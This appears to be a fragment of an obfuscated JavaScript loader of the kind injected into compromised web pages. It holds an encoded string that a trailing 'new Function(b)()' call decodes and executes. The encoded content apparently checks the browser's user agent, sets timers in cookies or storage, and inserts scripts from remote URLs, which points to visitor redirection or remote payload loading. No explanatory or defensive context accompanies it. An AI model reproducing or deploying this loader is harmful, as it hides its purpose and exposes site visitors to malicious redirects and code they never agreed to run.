VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();